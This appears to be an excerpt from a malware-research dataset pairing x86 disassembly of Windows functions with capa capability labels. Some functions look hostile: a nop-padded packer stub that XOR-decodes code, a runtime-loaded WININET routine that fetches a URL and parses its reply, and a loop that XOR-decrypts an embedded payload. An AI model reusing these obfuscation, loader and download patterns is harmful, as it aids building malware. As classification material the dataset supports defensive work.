joyce8/EMBER2024-capa huggingface dataset:
Function at 0x98e7e0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x9d7230]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0xf0000040
push 1
push 0
push 0
lea eax, [ebp - 0x1c]
mov esi, 8
push eax
mov dword [ebp - 0x20], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x98e871
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esi
lea esi, [ebp - 0xc]
mov eax, ebx
mov word [ebp - 0x18], 0x208
mov dword [ebp - 0x14], 0x6601
call fcn.0098e750
mov ecx, esi
push 8
push ecx
call fcn.00993e70
mov ecx, dword [ebp - 0x1c]
add esp, 8
lea edx, [ebp - 0x24]
push edx
push 0
push 0
push 0x14
lea eax, [ebp - 0x18]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x98e882
mov edx, dword [ebp - 0x1c]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0093bbd0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [edi], ecx
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x20]
push ecx
push edi
push 0
push 0
mov dword [edi + 4], edx
mov edx, dword [ebp - 0x24]
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [ebp - 0x1c]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0093bbd0
mov esp, ebp
pop ebp
ret

Function at 0x990330
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push esi
mov byte [esi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [esi + edi - 1], 0
test eax, eax
jne 0x990363
push 0x2e
push esi
call fcn.0093bce0
add esp, 8
test eax, eax
je 0x990361
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x993ec0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
push esi
mov dword [esi], 0
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x993ef9
mov eax, dword [esi]
push edi
push 0
push 0
push 0x8002
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop edi
ret
Function at 0x995380
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x9d833c]
mov edi, eax
add esp, 4
test edi, edi
jne 0x9953ab
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
add edx, eax
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], edx
cmp ebx, dword [esi + 0x10]
jbe 0x9953f2
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebx
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov eax, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], eax
jmp 0x9953f5
mov ebx, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
mov edx, dword [esi]
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi]
push eax
call ecx
mov eax, dword [ebp + 0x10]
add esp, 8
mov dword [ebp - 4], 0
test eax, eax
je 0x995456
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea esp, [esp]
mov dl, byte [ebx]
xor dl, 0x36
mov byte [ebp + 0xb], dl
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
lea eax, [ebp + 0xb]
push eax
push ecx
call edx
mov al, byte [ebx]
xor al, 0x5c
mov byte [ebp + 0xb], al
mov edx, dword [edi + 8]
mov eax, dword [esi + 4]
push 1
lea ecx, [ebp + 0xb]
push ecx
push edx
inc ebx
call eax
add esp, 0x18
dec dword [ebp - 8]
jne 0x995420
mov ecx, dword [ebp - 4]
pop ebx
cmp ecx, dword [esi + 0x10]
jae 0x99548f
nop
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push 1
push str.6_U
push edx
call eax
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
push 0x9cbbd3
push ecx
call edx
mov eax, dword [ebp - 4]
inc eax
add esp, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x10]
jb 0x995460
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x995560
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000040
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x995593
mov ecx, dword [esi]
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x800c
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
xor eax, eax
pop esi
pop ebp
ret
Function at 0x99768c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9976b3
call fcn.00939c18
mov dword [eax], esi
call fcn.00939c05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093a85a
mov eax, esi
jmp 0x997708
test dword [ebp + 0xc], 0xfffffff9
jne 0x997699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9976e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00939c2b
pop ecx
call fcn.00939c05
mov eax, dword [eax]
jmp 0x997708
test al, 0x10
jne 0x997706
test al, 1
je 0x997706
test byte [ebp + 0xc], 2
je 0x997706
call fcn.00939c18
mov dword [eax], 5
call fcn.00939c05
mov dword [eax], 0xd
jmp 0x9976d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x10011ee0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
push 0x2c0
push str.ogkpl_mzwe7206_jze
call fcn.10013570
add esp, 8
cmp word [0x1001f1c2], 0
je 0x100120b8
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0xc]
push str.InternetOpenA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [ebp - 8]
mov dword [ebp - 0x10], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x10011f77
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [ebp - 0xc]
push str.InternetOpenUrlA
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [ebp - 0x10]
push 0
push 0x80000100
push 0
push 0
push 0x1001f094
push edx
call dword [ebp - 8]
mov dword [ebp - 8], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 8]
test esi, esi
jne 0x10011fd1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x80f]
mov byte [ebp - 0x810], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, dword [ebp - 0xc]
mov ecx, 0x200
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x810]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetReadFile
push ebx
mov dword [ebp - 4], 0
call edi
lea ecx, [ebp - 4]
lea edx, [ebp - 0x810]
push ecx
push 0x800
push edx
push esi
call eax
push str.InternetCloseHandle
push ebx
call edi
push str.FreeLibrary
push str.KERNEL32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call esi
mov ecx, dword [ebp - 0x10]
push ecx
call esi
lea edx, [ebp - 0x810]
push 0x1001f688
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012072
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp - 0x810]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x810]
sub ecx, edx
push ecx
push eax
push str.ogkpl_mzwe7206_jze
call dword [sym.imp.MSVCRT.dll_strncpy]
inc esi
push esi
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [0x1001f1c0], ax
push ebx
call dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x70
mov esi, esp
mov dword [esi + 0x58], ebp
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x5c], esp
mov dword [esi + 0x68], 0xffffffff
mov dword [esi + 0x64], 0x10013960
lea ecx, [esi + 0x60]
mov edx, dword fs:[0]
cmp eax, 1
mov dword [esi + 0x60], edx
mov dword fs:[0], ecx
jne 0x1000143c
mov eax, dword [ebp + 8]
movaps xmm1, xmmword [0x1002a1d0]
xorps xmm0, xmm0
movaps xmmword [esi + 0x30], xmm0
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0
movups xmmword [esi + 0x48], xmm1
call fcn.1001be60
movaps xmm0, xmmword [0x1002a1e0]
mov dword [esi + 0xa], 0x4c6ed62a
mov dword [esi + 0xe], 0xd41b180a
mov dword [esi + 0x12], 0xe69c857c
mov word [esi + 0x16], 0x15d8
movups xmmword [esi + 0x18], xmm0
mov dword [esi + 0x28], 0x5c3fff75
mov dword [esi + 0x2c], 0x207661e
mov eax, dword [0x1005e128]
test eax, eax
jne 0x10001345
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1000144f
mov dword [0x1005e128], eax
push 0x23800
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x1000144f
push 0x23800
push 0x1002a230
mov dword [esi], eax
push eax
call fcn.1001d4d0
add esp, 0xc
xor eax, eax
nop word cs:[eax + eax]
nop dword [eax + eax]
mov edi, 0xfffdc800
lea ecx, [esi + 0xa]
xor ebx, ebx
mov dword [esi + 4], eax
nop dword [eax]
mov eax, ebx
mov edx, 0x92492493
inc ebx
shr eax, 1
mul edx
shr edx, 2
imul eax, edx, 0xfffffff2
mov edx, dword [esi]
movzx eax, byte [ecx + eax]
inc ecx
xor byte [edx + edi + 0x23800], al
inc edi
jne 0x10001390
mov eax, dword [esi + 4]
inc eax
cmp eax, 0x3e9
jne 0x10001380
mov ebx, dword [esi]
xor eax, eax
nop word cs:[eax + eax]
nop dword [eax]
mov edi, 0xfffdc800
xor ecx, ecx
mov dword [esi + 4], eax
nop word [eax + eax]
mov eax, ecx
mov edx, 0xaaaaaaab
inc ecx
mul edx
shr edx, 1
and edx, 0xfffffff8
lea eax, [edx + edx*2]
neg eax
lea eax, [esi + eax + 0x18]
movzx eax, byte [edi + eax + 0x23800]
xor byte [ebx + edi + 0x23800], al
inc edi
jne 0x100013e0
mov eax, dword [esi + 4]
inc eax
cmp eax, 0x3e9
jne 0x100013d0
mov eax, dword [esi]
mov dword [esi + 0x68], 0
mov dword [esi + 0x30], eax
lea eax, [esi + 0x30]
push eax
call fcn.1001c050
add esp, 4
push dword [esi]
push 0
push dword [0x1005e128]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esi + 0x60]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
mov ecx, 0x23800
mov edx, 1
call fcn.100292f0
ud2
Function at 0x10002fe0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, edx
mov edx, dword [esp + 0x14]
mov ebp, dword [esp + 0x20]
xor esi, esi
lea edx, [eax + edx*2]
movzx ebx, byte [eax + 1]
cmp byte [eax], ch
lea eax, [eax + 2]
lea edi, [esi + ebx]
jne 0x10003030
cmp edi, esi
jb 0x10003098
cmp edi, dword [esp + 0x1c]
ja 0x100030ab
add esi, dword [esp + 0x18]
nop word [eax + eax]
test ebx, ebx
je 0x10003032
dec ebx
cmp byte [esi], cl
lea esi, [esi + 1]
jne 0x10003020
jmp 0x1000308f
ja 0x10003038
cmp eax, edx
mov esi, edi
jne 0x10002ff3
mov edi, dword [esp + 0x24]
movzx ecx, cx
mov al, 1
add edi, ebp
nop word cs:[eax + eax]
nop dword [eax]
movzx edx, byte [ebp]
lea esi, [ebp + 1]
test dl, dl
js 0x10003070
mov ebp, esi
sub ecx, edx
jns 0x10003087
jmp 0x10003091
cmp esi, edi
je 0x100030c0
movzx esi, byte [ebp + 1]
and edx, 0x7f
add ebp, 2
shl edx, 8
or edx, esi
sub ecx, edx
js 0x10003091
xor al, 1
cmp ebp, edi
jne 0x10003050
jmp 0x10003091
xor eax, eax
and al, 1
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, esi
mov edx, edi
push 0x1004e350
call fcn.10029530
add esp, 4
ud2
mov edx, dword [esp + 0x1c]
mov ecx, edi
push 0x1004e350
call fcn.10029470
add esp, 4
ud2
mov ecx, str.called__Option::unwrap____on_a__None__value
mov edx, 0x2b
push 0x1004e360
call fcn.100294e0
add esp, 4
ud2
Function at 0x1000c340
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
je 0x1000c355
test eax, eax
jne 0x1000c46d
mov ebp, dword [0x1005e12c]
test ebp, ebp
je 0x1000c46d
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor ebx, ebx
jmp 0x1000c377
mov ebp, dword [ebp + 8]
test ebp, ebp
je 0x1000c398
push dword [ebp + 4]
call edi
test eax, eax
je 0x1000c370
mov esi, eax
push 0
push dword [ebp + 4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [ebp]
add esp, 4
mov bl, 1
jmp 0x1000c370
test bl, 1
je 0x1000c46d
mov ebp, dword [0x1005e12c]
test ebp, ebp
je 0x1000c46d
xor ebx, ebx
jmp 0x1000c3c7
mov ebp, dword [ebp + 8]
test ebp, ebp
je 0x1000c3e8
push dword [ebp + 4]
call edi
test eax, eax
je 0x1000c3c0
mov esi, eax
push 0
push dword [ebp + 4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [ebp]
add esp, 4
mov bl, 1
jmp 0x1000c3c0
test bl, 1
je 0x1000c46d
mov ebp, dword [0x1005e12c]
test ebp, ebp
je 0x1000c46d
xor ebx, ebx
jmp 0x1000c407
mov ebp, dword [ebp + 8]
test ebp, ebp
je 0x1000c428
push dword [ebp + 4]
call edi
test eax, eax
je 0x1000c400
mov esi, eax
push 0
push dword [ebp + 4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [ebp]
add esp, 4
mov bl, 1
jmp 0x1000c400
test bl, 1
je 0x1000c46d
mov ebp, dword [0x1005e12c]
test ebp, ebp
je 0x1000c46d
xor ebx, ebx
jmp 0x1000c447
mov ebp, dword [ebp + 8]
test ebp, ebp
je 0x1000c468
push dword [ebp + 4]
call edi
test eax, eax
je 0x1000c440
mov esi, eax
push 0
push dword [ebp + 4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [ebp]
add esp, 4
mov bl, 1
jmp 0x1000c440
test bl, 1
jne 0x1000c479
mov al, byte [0x1005a300]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
mov ebp, dword [0x1005e12c]
jmp 0x1000c484
mov ebp, dword [ebp + 8]
test ebp, ebp
je 0x1000c46d
push dword [ebp + 4]
call edi
test eax, eax
je 0x1000c481
mov esi, eax
push 0
push dword [ebp + 4]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [ebp]
add esp, 4
jmp 0x1000c481
Function at 0x1000d000
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
mov eax, dword [0x1005d04c]
test eax, eax
je 0x1000d018
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
cmp eax, 1
ja 0x1000d02e
jmp 0x1000d039
mov ecx, 0x1005d04c
call fcn.10012960
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
cmp eax, 1
jbe 0x1000d039
cmp dword [eax], 1
mov esi, eax
je 0x1000d0c9
mov eax, dword [0x1005d04c]
test eax, eax
je 0x1000d058
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x1000d06d
xor esi, esi
cmp eax, 1
je 0x1000d0cc
mov esi, eax
jmp 0x1000d0bc
mov ecx, 0x1005d04c
call fcn.10012960
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jne 0x1000d04d
mov eax, dword [0x1005e128]
test eax, eax
jne 0x1000d084
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x1000d0d0
mov dword [0x1005e128], eax
push 0xc
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x1000d0d0
mov dword [eax], 0
mov dword [eax + 8], 0x1005d04c
mov esi, eax
mov eax, dword [0x1005d04c]
test eax, eax
jne 0x1000d0b4
mov ecx, 0x1005d04c
call fcn.10012960
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [esi], 1
mov dword [esi + 4], 0
add esi, 4
mov eax, esi
pop esi
ret
mov ecx, 0xc
mov edx, 4
call fcn.100292f0
ud2
Function at 0x10012960
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x5c
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x10013a60
mov esi, ecx
lea eax, [ebp - 0x18]
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
push 0x1005e114
call dword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov dword [ebp - 0x20], 0x1005e114
mov edi, dword [esi]
test edi, edi
jne 0x10012a15
mov ebx, dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x10012a31
mov edi, eax
test ebx, ebx
je 0x10012a0d
mov eax, dword [0x1005e128]
test eax, eax
jne 0x100129d6
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x10012ad7
mov dword [0x1005e128], eax
push 0xc
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x10012ad7
mov dword [eax], ebx
mov dword [eax + 4], edi
mov dword [eax + 8], 0
mov ecx, eax
mov eax, dword [0x1005e12c]
nop dword [eax + eax]
mov dword [ecx + 8], eax
lock cmpxchg dword [0x1005e12c], ecx
jne 0x10012a00
mov eax, edi
test edi, edi
xchg dword [esi], eax
je 0x10012a51
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, edi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10], 0
mov ecx, str.assertion_failed:_key___c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx
mov edx, 0x2e
push 0x1005061c
call fcn.100294e0
add esp, 4
ud2
lea eax, [ebp - 0x68]
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x50]
mov dword [ebp - 0x68], 0x1004ff5c
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x1004f570
mov dword [ebp - 0x50], 0x1004fdb4
mov dword [ebp - 0x4c], 2
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x34], 0x10002110
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 1
call fcn.1000d0f0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
call fcn.1000d2b0
mov ecx, 7
int 0x29
ud2
mov ecx, 0xc
mov edx, 4
call fcn.100292f0
ud2
Function at 0x1001bf10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
test eax, eax
jne 0x1001bf28
pop ebx
add esp, 0x10
ret
mov ecx, dword [eax + ebx + 0x20]
mov edx, dword [eax + ebx + 0x24]
add ecx, ebx
push ebp
push esi
mov esi, dword [eax + ebx + 0x1c]
add edx, ebx
mov eax, dword [eax + ebx + 0x18]
add esi, ebx
xor ebp, ebp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], eax
test eax, eax
je 0x1001bfa2
push edi
nop word [eax + eax]
push dword [esp + 0x28]
mov esi, dword [ecx]
call fcn.1001c4f0
add esp, 4
mov edi, eax
add esi, ebx
je 0x1001bfbb
mov eax, dword [esp + 0x28]
test eax, eax
je 0x1001bfbb
xor ecx, ecx
test edi, edi
je 0x1001bf95
mov ebx, eax
sub ebx, esi
mov al, byte [esi]
cmp al, byte [ebx + esi]
jb 0x1001bfb7
ja 0x1001bfb7
inc ecx
inc esi
cmp ecx, edi
jb 0x1001bf86
mov edx, dword [esp + 0x10]
mov ebx, dword [esp + 0x24]
mov esi, dword [esp + 0x1c]
pop edi
movzx eax, word [edx]
test eax, eax
je 0x1001bfac
lea esi, [esi + eax*4]
mov eax, dword [esi]
pop esi
pop ebp
add eax, ebx
pop ebx
add esp, 0x10
ret
mov ebx, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
inc ebp
mov edx, dword [esp + 0x10]
add ecx, 4
add edx, 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
cmp ebp, dword [esp + 0x18]
jb 0x1001bf60
jmp 0x1001bf99

Function at 0x1001bfe0
Capabilities:
Access peb ldr_data

Disassembly:
push esi
mov esi, dword fs:[0x30]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
test eax, eax
je 0x1001c01e
nop dword [eax + eax]
mov edx, dword [eax + 0x10]
cmp edx, fcn.1001bfe0
ja 0x1001c018
mov ecx, dword [eax + 0x18]
add ecx, edx
cmp ecx, fcn.1001bfe0
jae 0x1001c020
mov eax, dword [eax]
test eax, eax
jne 0x1001c000
xor edx, edx
mov eax, dword [esi + 0xc]
add eax, 0x14
pop esi
mov ecx, dword [eax]
cmp ecx, eax
je 0x1001c03b
nop dword [eax]
cmp dword [ecx + 0x10], edx
je 0x1001c03e
mov ecx, dword [ecx]
cmp ecx, eax
jne 0x1001c030
xor eax, eax
ret
mov eax, dword [esp + 4]
mov dword [ecx + 0x10], eax
mov eax, 1
ret
Function at 0x10024161
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100241fe
push ebx
push esi
call fcn.1002412a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10024073
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100241ab
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100241fd
push edi
push eax
call fcn.100222e9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100241cb
call fcn.10022c83
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100241fc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10024073
add esp, 0x20
test eax, eax
jne 0x100241ea
push edi
call fcn.10022c83
jmp 0x100241f2
push ebx
call fcn.10022c83
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10024469
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10056be8
push 0x10056be0
push str.FlsAlloc
push 0x1e
call fcn.10024387
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002449d
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002a154]
call esi
jmp 0x100244a3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100244e7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10056bf8
push 0x10056bf0
push str.FlsGetValue
push 0x20
call fcn.10024387
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002451e
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002a154]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]